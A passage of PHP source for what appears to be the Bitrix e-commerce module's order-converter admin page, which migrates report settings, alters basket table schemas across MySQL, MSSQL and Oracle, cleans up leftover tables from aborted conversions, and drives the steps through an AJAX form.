							'/^BUYER$/',
							'/^BUYER\./'
						),
						'replacement' => array(
							'DATE_INSERT_FORMAT',
							'USER',
							'USER.'
						)
					),
					'sale_User' => array(
						'entity' => 'Bitrix\\Main\\User',
						'pattern' => array(
							'/^Bitrix\\\Sale\\\Order$/',
							'/^Bitrix\\\Sale\\\Order:/',
							'/^Bitrix\\\Sale\\\Internals\\\Order:BUYER$/',
							'/^Bitrix\\\Sale\\\Internals\\\Order:BUYER\./',
							'/^Bitrix\\\Sale\\\Internals\\\Order:USER\.DATE_INS$/',
						),
						'replacement' => array(
							'Bitrix\\Sale\\Internals\\Order',
							'Bitrix\\Sale\\Internals\\Order:',
							'Bitrix\\Sale\\Internals\\Order:USER',
							'Bitrix\\Sale\\Internals\\Order:USER.',
							'Bitrix\\Sale\\Internals\\Order:USER.DATE_INSERT_FORMAT'
						)
					),
					'sale_SaleBasket' => array(
						'entity' => 'Bitrix\\Sale\\Internals\\Basket',
						'pattern' => array(
							'/^ORDER\.DATE_INS$/'
						),
						'replacement' => array(
							'ORDER.DATE_INSERT_FORMAT'
						)
					)
				);
				while ($report = $dbReports->Fetch())
				{
					$reportID = $report['ID'];
					$reportSettings = unserialize($report['SETTINGS']);
					$reportOwner = $report['OWNER_ID'];
					$reportMark = intval($report['MARK_DEFAULT']);

					if (is_array($reportSettings))
					{
						if ($reportOwner === 'sale_SaleOrder' || $reportOwner === 'sale_User' || $reportOwner === 'sale_SaleBasket')
						{
							$reportSettings['entity'] = $replaces[$reportOwner]['entity'];

							if (is_array($reportSettings['select']))
							{
								foreach ($reportSettings['select'] as $k => $v)
								{
									if (is_array($v) && isset($v['name']) && !empty($v['name']))
									{
										$reportSettings['select'][$k]['name'] = preg_replace(
											$replaces[$reportOwner]['pattern'],
											$replaces[$reportOwner]['replacement'],
											$v['name']
										);
									}
								}
							}

							if (is_array($reportSettings['filter']))
							{
								foreach ($reportSettings['filter'] as $fKey => $fField)
								{
									if (is_array($fField))
									{
										foreach ($fField as $k => $v)
										{
											if (is_array($v) && isset($v['type']) && $v['type'] === 'field'
												&& isset($v['name']) && !empty($v['name']))
											{
												$reportSettings['filter'][$fKey][$k]['name'] = preg_replace(
													$replaces[$reportOwner]['pattern'],
													$replaces[$reportOwner]['replacement'],
													$v['name']
												);
											}
										}
									}
								}
							}

							$updatedReports[$reportID] = serialize($reportSettings);
						}
					}
				}

				if(!empty($updatedReports))
				{
					foreach ($updatedReports as $reportID => &$reportSettings)
					{
						$reportID = intval($reportID);
						$expression = $DB->PrepareUpdate('b_report', array('SETTINGS' => $reportSettings), 'report');
						$sql = "UPDATE b_report SET {$expression} WHERE ID = {$reportID}";

						$DB->QueryBind(
							$sql,
							array('SETTINGS' => $reportSettings),
							false,
							"File: ".__FILE__."<br>Line: ".__LINE__
						);

						$dbRes = CUserOptions::GetList(
							array("ID" => "ASC"),
							array('CATEGORY' => 'report', 'NAME_MASK' => 'view_params_'.$reportID.'_')
						);
						if (is_object($dbRes))
						{
							while ($row = $dbRes->fetch())
							{
								if (strpos($row['NAME'], 'view_params_'.$reportID.'_') === 0)
									CUserOptions::DeleteOptionsByName('report', $row['NAME']);
							}
						}
						unset($dbRes);
					}
				}
				unset($reportSettings);
			}
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_UPDATE_BASKET');
				$type = 'PROCESS';
				// SITE_START
				COption::SetOptionString("main", "site_stopped", "N");
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_UPDATE_REPORT');
				$result['ERROR'] = true;
				$type = 'ERROR';
				$message .= "<br>".$error;
			}

			$result['DATA'] = $message;

			Bitrix\Main\Config\Option::set("main", "~sale_converted_15", 'Y');
			CAdminNotify::DeleteByTag('SALE_ORDER_MASTER_CONVERT');

			break;
		case 22:
			if ($DB->TableExists('b_sale_basket'))
			{
				if ($DB->type == 'MYSQL')
				{
					if (!$DB->Query('ALTER TABLE b_sale_basket CHANGE PRICE PRICE DECIMAL(18,4) not null', true))
						$error .= $DB->GetErrorMessage();
					if (!$DB->Query('ALTER TABLE b_sale_basket CHANGE DISCOUNT_PRICE DISCOUNT_PRICE DECIMAL(18,4) not null', true))
						$error .= $DB->GetErrorMessage();
					if (!$DB->Query('ALTER TABLE b_sale_basket CHANGE QUANTITY QUANTITY DECIMAL(18,4) not null', true))
						$error .= $DB->GetErrorMessage();

					if (!$DB->Query("SELECT BASE_PRICE FROM b_sale_basket WHERE 1=0", true))
					{
						if(!$DB->Query("ALTER TABLE b_sale_basket ADD BASE_PRICE decimal(18, 4) null"))
							$error .= $DB->GetErrorMessage();
					}
					if (!$DB->Query("SELECT VAT_INCLUDED FROM b_sale_basket WHERE 1=0", true))
					{
						if (!$DB->Query("ALTER TABLE b_sale_basket ADD VAT_INCLUDED char(1) not null default 'Y'"))
							$error .= $DB->GetErrorMessage();
					} 

					if ($DB->Query("SELECT VAT_RATE FROM b_sale_basket WHERE 1=0", true))
					{
						if (!$DB->Query("ALTER TABLE b_sale_basket CHANGE VAT_RATE VAT_RATE DECIMAL(18,4) DEFAULT '0.0000'", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
					}
					
					if (!$DB->Query("SELECT SORT FROM b_sale_basket WHERE 1=0", true))
					{
						if (!$DB->Query("ALTER TABLE b_sale_basket ADD COLUMN SORT INT DEFAULT '100' NOT NULL", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
					}

				}
				elseif ($DB->type == 'MSSQL')
				{
					if (!$DB->Query("ALTER TABLE B_SALE_BASKET ALTER COLUMN PRICE DECIMAL(18,4) NOT NULL", true))
						$error .= $DB->GetErrorMessage();
					if (!$DB->Query("ALTER TABLE B_SALE_BASKET ALTER COLUMN DISCOUNT_PRICE DECIMAL(18,4) NOT NULL", true))
						$error .= $DB->GetErrorMessage();
					if (!$DB->Query("ALTER TABLE B_SALE_BASKET ALTER COLUMN QUANTITY DECIMAL(18,4) NOT NULL", true))
						$error .= $DB->GetErrorMessage();

					if (!$DB->Query("SELECT BASE_PRICE FROM b_sale_basket WHERE 1=0", true))
					{
						if(!$DB->Query("ALTER TABLE B_SALE_BASKET ADD BASE_PRICE decimal(18, 4) null"))
							$error .= $DB->GetErrorMessage();
					}

					if (!$DB->Query("SELECT VAT_INCLUDED FROM b_sale_basket WHERE 1=0", true))
					{
						if (!$DB->Query("ALTER TABLE B_SALE_BASKET ADD VAT_INCLUDED char(1) NOT NULL CONSTRAINT DF_B_SALE_BASKET_VAT_INCLUDED DEFAULT 'Y'"))
						{
							$error .= $DB->GetErrorMessage();
						}
						
					}

					if ($DB->Query("SELECT VAT_RATE FROM B_SALE_BASKET WHERE 1=0", true))
					{
						if (!$DB->Query("ALTER TABLE B_SALE_BASKET ALTER COLUMN VAT_RATE DECIMAL(18,4)", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
						
						$DB->Query("ALTER TABLE B_SALE_BASKET DROP CONSTRAINT DF_SALE_BASKET_VAT_RATE", false);
						
						if (!$DB->Query("ALTER TABLE B_SALE_BASKET ADD CONSTRAINT DF_SALE_BASKET_VAT_RATE DEFAULT '0.00' FOR VAT_RATE", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
						
					}

					if (!$DB->Query("SELECT SORT FROM B_SALE_BASKET WHERE 1=0", true))
					{
						if (!$DB->Query("ALTER TABLE B_SALE_BASKET ADD SORT INT DEFAULT '100' NOT NULL", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
					}
					
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("ALTER TABLE B_SALE_BASKET MODIFY PRICE NUMBER(20,4)", true))
						$error .= $DB->GetErrorMessage();
					if (!$DB->Query("ALTER TABLE B_SALE_BASKET MODIFY DISCOUNT_PRICE NUMBER(20,4)", true))
						$error .= $DB->GetErrorMessage();
					if (!$DB->Query("ALTER TABLE B_SALE_BASKET MODIFY QUANTITY NUMBER(24,4)", true))
						$error .= $DB->GetErrorMessage();

					if (!$DB->Query("SELECT BASE_PRICE FROM b_sale_basket WHERE 1=0", true))
					{
						if(!$DB->Query("ALTER TABLE B_SALE_BASKET ADD (BASE_PRICE NUMBER(18, 4) null)"))
							$error .= $DB->GetErrorMessage();
					}
					if (!$DB->Query("SELECT VAT_INCLUDED FROM b_sale_basket WHERE 1=0", true))
					{
						if (!$DB->Query("ALTER TABLE B_SALE_BASKET ADD (VAT_INCLUDED char(1 CHAR) DEFAULT 'Y' NOT NULL)"))
							$error .= $DB->GetErrorMessage();
					}
		
					$dbNextVal = $DB->Query("SELECT SQ_SALE_BASKET.NEXTVAL FROM DUAL", true);
					if ($dbNextVal)
					{
						$data = $dbNextVal->Fetch();
						$id = intval($data["NEXTVAL"]);

						$DB->Query('DROP SEQUENCE SQ_SALE_BASKET');

						$DB->Query('CREATE SEQUENCE SQ_B_SALE_BASKET START WITH '.$id.' INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER');
						$DB->Query('CREATE OR REPLACE TRIGGER B_SALE_BASKET_INSERT
									BEFORE INSERT
									ON B_SALE_BASKET
									FOR EACH ROW
									BEGIN
										IF :NEW.ID IS NULL THEN
											SELECT SQ_B_SALE_BASKET.NEXTVAL INTO :NEW.ID FROM dual;
										END IF;
									END;'
						);

					}
								
					$dbNextVal = $DB->Query("SELECT SQ_SALE_BASKET_PROPS.NEXTVAL FROM DUAL", true);
					if ($dbNextVal)
					{
						$data = $dbNextVal->Fetch();
						$id = intval($data["NEXTVAL"]);

						$DB->Query('DROP SEQUENCE SQ_SALE_BASKET_PROPS');

						$DB->Query('CREATE SEQUENCE SQ_B_SALE_BASKET_PROPS START WITH '.$id.' INCREMENT BY 1 NOMAXVALUE NOCYCLE NOCACHE NOORDER');
						$DB->Query('CREATE OR REPLACE TRIGGER B_SALE_BASKET_PROPS_INSERT
									BEFORE INSERT
									ON B_SALE_BASKET_PROPS
									FOR EACH ROW
									BEGIN
										IF :NEW.ID IS NULL THEN
											SELECT SQ_B_SALE_BASKET_PROPS.NEXTVAL INTO :NEW.ID FROM dual;
										END IF;
									END;'
						);

					}

					if ($DB->Query("SELECT VAT_RATE FROM B_SALE_BASKET WHERE 1=0", true))
					{
						if (!$DB->Query("ALTER TABLE B_SALE_BASKET MODIFY (VAT_RATE NUMBER(20,4) DEFAULT 0.0 NOT NULL)", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
					}
					
					if (!$DB->Query("SELECT SORT FROM B_SALE_BASKET WHERE 1=0", true))
					{
						if (!$DB->Query("ALTER TABLE B_SALE_BASKET ADD SORT INT DEFAULT '100' NOT NULL", true))
						{
							$error .= "<br>".$DB->GetErrorMessage();
						}
					}
					
				}
			}

			if (empty($error))
			{
				Bitrix\Main\Config\Option::set("main", "~sale_converter_start", 'N');
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_FINAL');
				$type = 'OK';

				if (\Bitrix\Main\ModuleManager::isModuleInstalled('catalog') && \Bitrix\Main\Config\Option::get('sale', 'basket_discount_converted'))
				{
					$countQuery = new \Bitrix\Main\Entity\Query(\Bitrix\Sale\Internals\OrderTable::getEntity());
					$countQuery->addSelect(new \Bitrix\Main\Entity\ExpressionField('CNT', 'COUNT(1)'));
					$countQuery->setFilter(array('ORDER_DISCOUNT_DATA.ID' => null));
					$totalCount = $countQuery->setLimit(1)->setOffset(null)->exec()->fetch();
					unset($countQuery);
					if ((int)$totalCount['CNT'] > 0)
					{
						$adminNotify = false;
						$adminNotifyIterator = CAdminNotify::GetList(
							array(),
							array('MODULE_ID' => 'sale', 'TAG' => 'BASKET_DISCOUNT_CONVERTED')
						);
						if (!$adminNotifyIterator)
							$adminNotify = $adminNotifyIterator->Fetch();
						unset($adminNotifyIterator);
						if (empty($adminNotify))
						{
							$langMess = array();
							$langList = array();
							$languageIterator = \Bitrix\Main\Localization\LanguageTable::getList(array(
								'select' => array('ID'),
								'filter' => array('=ACTIVE' => 'Y')
							));
							while ($oneLanguage = $languageIterator->fetch())
								$langList[] = $oneLanguage['ID'];
							unset($oneLanguage, $languageIterator);
							$messID = 'SALE_CONVERTER_ADMIN_NOTIFY_CONVERT_BASKET_DISCOUNT';
							foreach ($langList as &$oneLanguage)
							{
								$mess = Loc::loadLanguageFile(__FILE__, $oneLanguage);
								if (!isset($mess[$messID]) || empty($mess[$messID]))
									continue;
								$langMess[$oneLanguage] = str_replace(
									'#LINK#',
									'/bitrix/admin/settings.php?lang='.$oneLanguage.'&mid=sale',
									$mess[$messID]
								);
							}
							unset($mess, $oneLanguage);
							reset($langMess);
							$defaultMess = (isset($langMess[LANGUAGE_ID]) ? $langMess[LANGUAGE_ID] : current($langMess));
							$fields = array(
								'MESSAGE' => $defaultMess,
								'TAG' => 'BASKET_DISCOUNT_CONVERTED',
								'MODULE_ID' => 'sale',
								'ENABLE_CLOSE' => 'Y',
								'PUBLIC_SECTION' => 'N',
								'LANG' => $langMess
							);
							CAdminNotify::Add($fields);
							unset($fields, $langMess, $defaultMess, $langList);
						}
						unset($adminNotify);
					}
				}
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_UPDATE_BASKET');
				$result['ERROR'] = true;
				$type = 'ERROR';
				$message .= "<br>".$error;
			}

			ob_start();

			CAdminMessage::ShowMessage(array(
				"MESSAGE" => Loc::getMessage('SALE_CONVERTER_AJAX_STEP_FINAL_MESSAGE'),
				"DETAILS" => $message,
				"HTML" => true,
				"TYPE" => $type,
			));

			$result['DATA'] = ob_get_contents();
			ob_end_clean();

			break;
	}

	echo CUtil::PhpToJSObject($result);
	die();
}

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");
?>
<div id="result">
	<div style = "width : 100px; float: left;" id="img_wrapper">
		<img src='/bitrix/images/sale/magaz.png'>
	</div>
<div class = 'block_step'>
<?
$step = 0;
$select = '';
$newTables = array(
	'b_sale_order_discount',
	'b_sale_order_payment',
	'b_sale_order_coupons',
	'b_sale_order_modules',
	'b_sale_order_rules',
	'b_sale_order_discount_data',
	'b_sale_order_rules_descr',
	'b_sale_delivery_srv',
	'b_sale_delivery_es',
	'b_sale_order_delivery_es',
	'b_sale_order_dlv_basket',
	'b_sale_delivery_rstr',
	'b_sale_status_group_task',
	'b_sale_company'
);
if (isset($_GET['step']) && intval($_GET['step']))
	$step = intval($_GET['step']);

switch ($step)
{
	case 1:		
		echo Loc::getMessage('SALE_CONVERTER_STEP_1_DETAILS');
		break;
	case 2:
		$events = array(
			"OnSaleCalculateOrderShoppingCart",
			"OnSaleCalculateOrderPersonType",
			"OnSaleCalculateOrderProps",
			"OnSaleCalculateOrderDelivery",
			"OnSaleCalculateOrderPaySystem",
			"OnSaleCalculateOrderDiscount",
			"OnSaleCalculateOrderShoppingCartTax",
			"OnSaleCalculateOrderDeliveryTax",
			"OnSaleCalculateOrder",
			// "OnBeforeBasketUpdateAfterCheck",

			"OnBeforeBasketDeductProduct",
			// "OnOrderPaySendEmail",
			"OnBeforeOrderAddHistory",
			"OnAfterOrderAddHistory",
			"OnSetCouponList",
			"OnClearCouponList",
			"OnDoBasketOrder",
			// "OnBeforeBasketUpdate",
			"OnSaleBeforePayOrder",
			"OnSaleBeforeDeliveryOrder",
			"OnOrderDeliverSendEmail",
			"OnSaleBeforeDeductOrder",
			"OnSaleBeforeReserveOrder",
			"OnSaleReserveOrder",
			// "OnOrderCancelSendEmail",
		);
		$eventList = '';
		foreach ($events as $event)
		{
			$moduleEvents = GetModuleEvents("sale", $event, true);
			if (!empty($moduleEvents))
				$eventList .= $event."<br>";
		}
		
		if (!empty($eventList))
		{
			$message = Loc::getMessage('SALE_CONVERTER_STEP_2_DETAILS').'<br><br>';
			echo $message.$eventList;
			break;
		}
		else
		{
			$step = 3;
		}
	case 3:
		if (!CSaleLocation::isLocationProMigrated())
		{
			echo Loc::getMessage('SALE_CONVERTER_STEP_3_DETAILS');
			break;
		}
		else
		{
			$step = 5;
		}
	case 4:
		if(!CSaleLocation::isLocationProMigrated())
		{
			$migrator = new \Bitrix\Sale\Location\Migration\CUpdaterLocationPro();

			$migrator->createTypes();
			$migrator->convertTree();
			$migrator->resetLegacyPath();

			$migrator->convertGroupLocationLinks();
			$migrator->convertDeliveryLocationLinks();
			$migrator->convertTaxRateLocationLinks();

			$migrator->copyDefaultLocations();
			$migrator->copyZipCodes();

			\CSaleLocation::locationProSetMigrated();
			\CSaleLocation::locationProEnable();
			
			echo Loc::getMessage('SALE_CONVERTER_STEP_4_DETAILS');
			break;
		}
	case 5:
		$saleConverted = \Bitrix\Main\Config\Option::get("main", "~sale_converted_15", 'N');
		$converterStart = \Bitrix\Main\Config\Option::get("main", "~sale_converter_start", 'N');
		if ($saleConverted == 'N' && $converterStart == 'N')
		{
			$isDbIncorrect = false;
			foreach ($newTables as $table)
			{
				if ($DB->TableExists($table))
				{
					$isDbIncorrect = true;
					break;
				}
			}

			if ($isDbIncorrect)
			{
				echo Loc::getMessage('SALE_CONVERTER_STEP_FIND_GARBAGE');
				break;
			}
			else
			{
				$step = 7;
			}
		}
		$step = 7;
	case 6:
		$saleConverted = \Bitrix\Main\Config\Option::get("main", "~sale_converted_15", 'N');
		$converterStart = \Bitrix\Main\Config\Option::get("main", "~sale_converter_start", 'N');
		if ($saleConverted == 'N' && $converterStart == 'N')
		{
			$isDbIncorrect = false;

			foreach ($newTables as $table)
			{
				if ($DB->TableExists($table))
				{
					$isDbIncorrect = true;
					if ($DB->type == 'MYSQL')
						$DB->Query('DROP TABLE '.$table, true);

					if ($DB->type == 'MSSQL')
					{
						$DB->Query('DROP TABLE '.ToUpper($table), true);
						$DB->Query("ALTER TABLE ".ToUpper($table)." DROP CONSTRAINT PK_".ToUpper($table), true);
					}

					if ($DB->type == 'ORACLE')
					{
						$DB->Query('DROP TABLE '.ToUpper($table).' CASCADE CONSTRAINTS', true);
						$DB->Query('DROP SEQUENCE SQ_'.ToUpper($table), true);
					}
				}
			}

			if ($isDbIncorrect)
			{
				if ($DB->TableExists('b_sale_order_delivery_old'))
				{
					if ($DB->type == 'MYSQL')
						$DB->Query('DROP TABLE b_sale_order_delivery_old', true);

					if ($DB->type == 'MSSQL')
					{
						$DB->Query('DROP TABLE B_SALE_ORDER_DELIVERY_OLD', true);
						$DB->Query("ALTER TABLE B_SALE_ORDER_DELIVERY_OLD DROP CONSTRAINT PK_B_SALE_ORDER_DELIVERY", true);
					}

					if ($DB->type == 'ORACLE')
					{
						$DB->Query('DROP TABLE B_SALE_ORDER_DELIVERY_OLD CASCADE CONSTRAINTS', true);
						$DB->Query('DROP SEQUENCE SQ_B_SALE_ORDER_DELIVERY', true);
					}
				}
				
				if ($DB->TableExists('b_sale_order_delivery_req'))
				{
					if ($DB->type == 'MYSQL')
						$DB->Query('DROP TABLE b_sale_order_delivery_req', true);

					if ($DB->type == 'MSSQL')
					{
						$DB->Query('DROP TABLE B_SALE_ORDER_DELIVERY_REQ', true);
						$DB->Query("ALTER TABLE B_SALE_ORDER_DELIVERY_REQ DROP CONSTRAINT PK_B_SALE_ORDER_DELIVERY", true);
					}

					if ($DB->type == 'ORACLE')
					{
						$DB->Query('DROP TABLE B_SALE_ORDER_DELIVERY_REQ CASCADE CONSTRAINTS', true);
						$DB->Query('DROP SEQUENCE SQ_B_SALE_ORDER_DELIVERY', true);
					}
				}
				
				if ($DB->type == 'MSSQL')
				{
					$DB->Query("DROP INDEX IX_SALE_ORDER_RULES_DS_ORD ON B_SALE_ORDER_RULES_DESCR", true);
					$DB->Query("DROP INDEX IX_BSDR_DELIVERY_ID ON B_SALE_DELIVERY_RSTR", true);
					$DB->Query("DROP INDEX IX_BSODB_ORDER_DELIVERY_ID ON B_SALE_ORDER_DLV_BASKET", true);
					$DB->Query("DROP INDEX IX_BSOD_ES_SHIPMENT_ID ON B_SALE_ORDER_DELIVERY_ES", true);
					$DB->Query("DROP INDEX IX_BSOD_ES_EXTRA_SERVICE_ID ON B_SALE_ORDER_DELIVERY_ES", true);
					$DB->Query("DROP INDEX IX_BSD_ES_DELIVERY_ID ON B_SALE_DELIVERY_ES", true);
					$DB->Query("DROP INDEX IX_BSD_SRV_PARENT_ID ON B_SALE_DELIVERY_SRV", true);
					$DB->Query("DROP INDEX IX_BSD_SRV_CODE ON B_SALE_DELIVERY_SRV", true);
					$DB->Query("DROP INDEX IX_SALE_DSC_DATA_CMX ON B_SALE_ORDER_DISCOUNT_DATA", true);
					$DB->Query("DROP INDEX IX_SALE_ORDER_RULES_ORD ON B_SALE_ORDER_RULES", true);
					$DB->Query("DROP INDEX IX_SALE_ORDER_MDL_DSC ON B_SALE_ORDER_MODULES", true);
					$DB->Query("DROP INDEX IX_SALE_ORDER_CPN_ORDER ON B_SALE_ORDER_COUPONS", true);
					$DB->Query("DROP INDEX IX_BSOD_ORDER_ID ON B_SALE_ORDER_DELIVERY", true);
					$DB->Query("DROP INDEX IX_BSOP_ORDER_ID ON B_SALE_ORDER_PAYMENT", true);
					$DB->Query("DROP INDEX IX_SALE_ORDER_DSC_HASH ON B_SALE_ORDER_DISCOUNT", true);
				}

				if ($DB->type == 'ORACLE')
				{
					$DB->Query("DROP INDEX IX_SALE_ORDER_RULES_DS_ORD", true);
					$DB->Query("DROP INDEX IX_BSDR_DELIVERY_ID", true);
					$DB->Query("DROP INDEX IX_BSODB_ORDER_DELIVERY_ID", true);
					$DB->Query("DROP INDEX IX_BSOD_ES_SHIPMENT_ID", true);
					$DB->Query("DROP INDEX IX_BSOD_ES_EXTRA_SERVICE_ID", true);
					$DB->Query("DROP INDEX IX_BSD_ES_DELIVERY_ID", true);
					$DB->Query("DROP INDEX IX_BSD_SRV_PARENT_ID", true);
					$DB->Query("DROP INDEX IX_BSD_SRV_CODE", true);
					$DB->Query("DROP INDEX IX_SALE_DSC_DATA_CMX", true);
					$DB->Query("DROP INDEX IX_SALE_ORDER_RULES_ORD", true);
					$DB->Query("DROP INDEX IX_SALE_ORDER_MDL_DSC", true);
					$DB->Query("DROP INDEX IX_SALE_ORDER_CPN_ORDER", true);
					$DB->Query("DROP INDEX IX_BSOD_ORDER_ID", true);
					$DB->Query("DROP INDEX IX_BSOP_ORDER_ID", true);
					$DB->Query("DROP INDEX IX_SALE_ORDER_DSC_HASH", true);
				}
				
				echo Loc::getMessage('SALE_CONVERTER_STEP_CLEAR_GARBAGE');
				break;
			}
		}
	case 7:
		echo Loc::getMessage('SALE_CONVERTER_STEP_6_DETAILS');
		break;
	default :
		// ENTRY
		echo Loc::getMessage('SALE_CONVERTER_ENTRY');
}
?>
</div>
</div>

<style>
	#result {
		width: 800px;
		min-height: 100px;
		background: #fff;
		border-radius: 10px;
		padding : 20px;
		font-size : 14px;
	}
	#ajax_result {
		padding: 10px 10px 0 10px;
		width: 500px;
		height: 150px;
		background: #fff;
		display : none;
		font-size : 14px;
		overflow: auto;
		border-radius: 10px;
	}
	#ajax_result div {
		margin-bottom : 10px;
		
	}
	.block_step {
		padding: 5px;
		width: 690px;
		margin-left: 115px;
	}
</style>
	<div id="wrapper">
		<div id="ajax_result"></div>
	</div>
<br>
<form method="GET" action="<?echo $APPLICATION->GetCurPage()?>" name="form">
	<input type="hidden" name="step" value="<?=$step+1;?>">
	<input type="hidden" name="lang" value="<?=LANGUAGE_ID;?>">
	<?if ($step > $stepsBeforeAjax):?>
		<input type="hidden" id="ajax_step" name="ajax_step" value="<?=($ajax_step <= 0) ? 0 : $ajax_step;?>">
		<input type="button" id="start_button" value="<?=Loc::getMessage('SALE_CONVERTER_BUTTON_START_AJAX');?>" onclick="startConverter();" class="adm-btn-save">
	<?else:?>
		<input type="submit" value="<?=($step <= 0) ? Loc::getMessage('SALE_CONVERTER_BUTTON_START') : Loc::getMessage('SALE_CONVERTER_BUTTON_NEXT');?>" class="adm-btn-save">
	<?endif;?>
</form>
<?if ($step > $stepsBeforeAjax):?>
	<script type="text/javascript">
		function startConverter()
		{
			BX.show(BX('ajax_result'));			
			BX('start_button').disabled = true;
			BX.remove(BX('result'));
			ShowWaitWindow();
			doNext();
		}

		function doNext()
		{
			var ajaxNextStep = BX('ajax_step').value;
			var queryString = 'lang=<?=LANGUAGE_ID;?>&is_ajax=Y&ajax_step='+ajaxNextStep;
			var aR, div;

			BX.ajax.post(
				'sale_converter.php',
				queryString,
				function(result) {
					var data = BX.parseJSON(result);
					if (!data || data.hasOwnProperty('ERROR'))
					{
						div = BX.create('div', {
							text : (!data) ? result : data.DATA,
							style : {
								'color' : 'red'
							}
						});
						
						aR = BX('ajax_result');
						aR.appendChild(div);
						
						CloseWaitWindow();
						BX('start_button').disabled = false;
						BX('start_button').value = "<?=Loc::getMessage('SALE_CONVERTER_BUTTON_REPEAT');?>";
					}
					else
					{
						if (data.hasOwnProperty('NEXT_STEP'))
						{							
							div = BX.create('div', {
								text : data.DATA
							});
							
							aR = BX('ajax_result');
							aR.appendChild(div);
							
							BX('ajax_step').value = data.NEXT_STEP;
							aR.scrollTop = 10000;
							doNext();
						}
						else
						{
							aR = BX('wrapper');
							aR.innerHTML = data.DATA;
							
							CloseWaitWindow();
						}
					}
					aR.scrollTop = 10000;
				}
			);		

			return false;
		}
	</script>
<?endif;?>

<?
require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");
?>